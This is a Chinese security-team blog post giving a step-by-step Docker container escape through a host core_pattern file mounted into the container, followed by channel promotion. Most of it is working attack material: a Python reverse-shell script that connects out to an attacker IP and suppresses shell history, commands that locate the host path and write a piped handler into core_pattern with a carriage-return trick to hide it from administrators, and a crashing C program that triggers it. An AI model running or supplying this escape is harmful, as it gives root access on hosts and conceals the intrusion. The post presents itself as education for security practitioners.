点击上方蓝字关注我们
**建议大家把公众号“TeamSecret安全团队”设为星标,否则可能就看不到啦!**因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责。如有侵权烦请告知,我会立即删除并致歉。谢谢!
procfs是一个特殊的虚拟文件系统,动态地反映了系统中的进程和其他关键状态。它包含了对系统运行至关重要的信息,因此,将宿主机的procfs挂载到不受控制的容器内尤其危险。这种操作可能会被利用来进行逃逸,特别是在容器内默认启用了root权限且未开启User Namespace的情况下。
此外,Docker默认情况下并不开启User Namespace,这意味着容器内的root权限直接映射到宿主机的root权限,进一步增加了安全风险。Linux内核从版本2.6.19开始支持在/proc/sys/kernel/core_pattern中使用管道符|来执行用户空间程序或脚本,这也是一个潜在的安全隐患点,如果配置不当可能被恶意利用。
尽管一般情况下不推荐将宿主机的procfs挂载到容器中,有些特殊业务场景可能确实需要这么做。在这种情况下,攻击者可通过一些手段逃逸容器。
环境搭建
创建一个容器并挂载 /proc 目录。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。
find / -name core_pattern
找到当前容器在宿主机下的绝对路径。
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
这就表示当前绝对路径为
/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/word
安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
创建一个反弹 Shell 的 py 脚本
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
给 Shell 赋予执行权限
chmod 777 .t.py
写入反弹 shell 到目标的 proc 目录下,\r之后的内容主要是为了为了管理员通过,cat命令查看内容时隐蔽我们写入恶意命令。这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern中的命令(运行成功core_pattern时会有core dumped的输出)。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/./t.py \rcore " > /host-proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序。
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
我们的目标是:
知识普及:让更多人了解网络安全的基础知识和最新动态。
技能提升:为网络安全从业者和爱好者提供实战技能的提升。
案例分析:深入剖析国内外网络安全事件,提炼经验教训。
攻防演练:模拟攻击与防御场景,提高应对网络威胁的能力。
我们的内容涵盖:
攻击队常用的网络攻击技术与工具。
网络攻防演练的策略与实战案例。
系统漏洞分析与防御措施。
网络安全法律法规与伦理道德。
网络安全行业动态与未来趋势。
加入我们,您将获得:
专业的网络安全知识分享。
与行业专家的互动交流机会。
网络安全防护的实用技巧。
网络安全事件的深度解析。
安全第一,技术先行。 我们相信,通过不断的学习和实践,我们能够共同构建一个更加安全、稳定的网络环境。
关注我们,一起探索网络安全的奥秘,成为网络世界的守护者!
添加作者微信发送:进群,邀请你加入学习交流群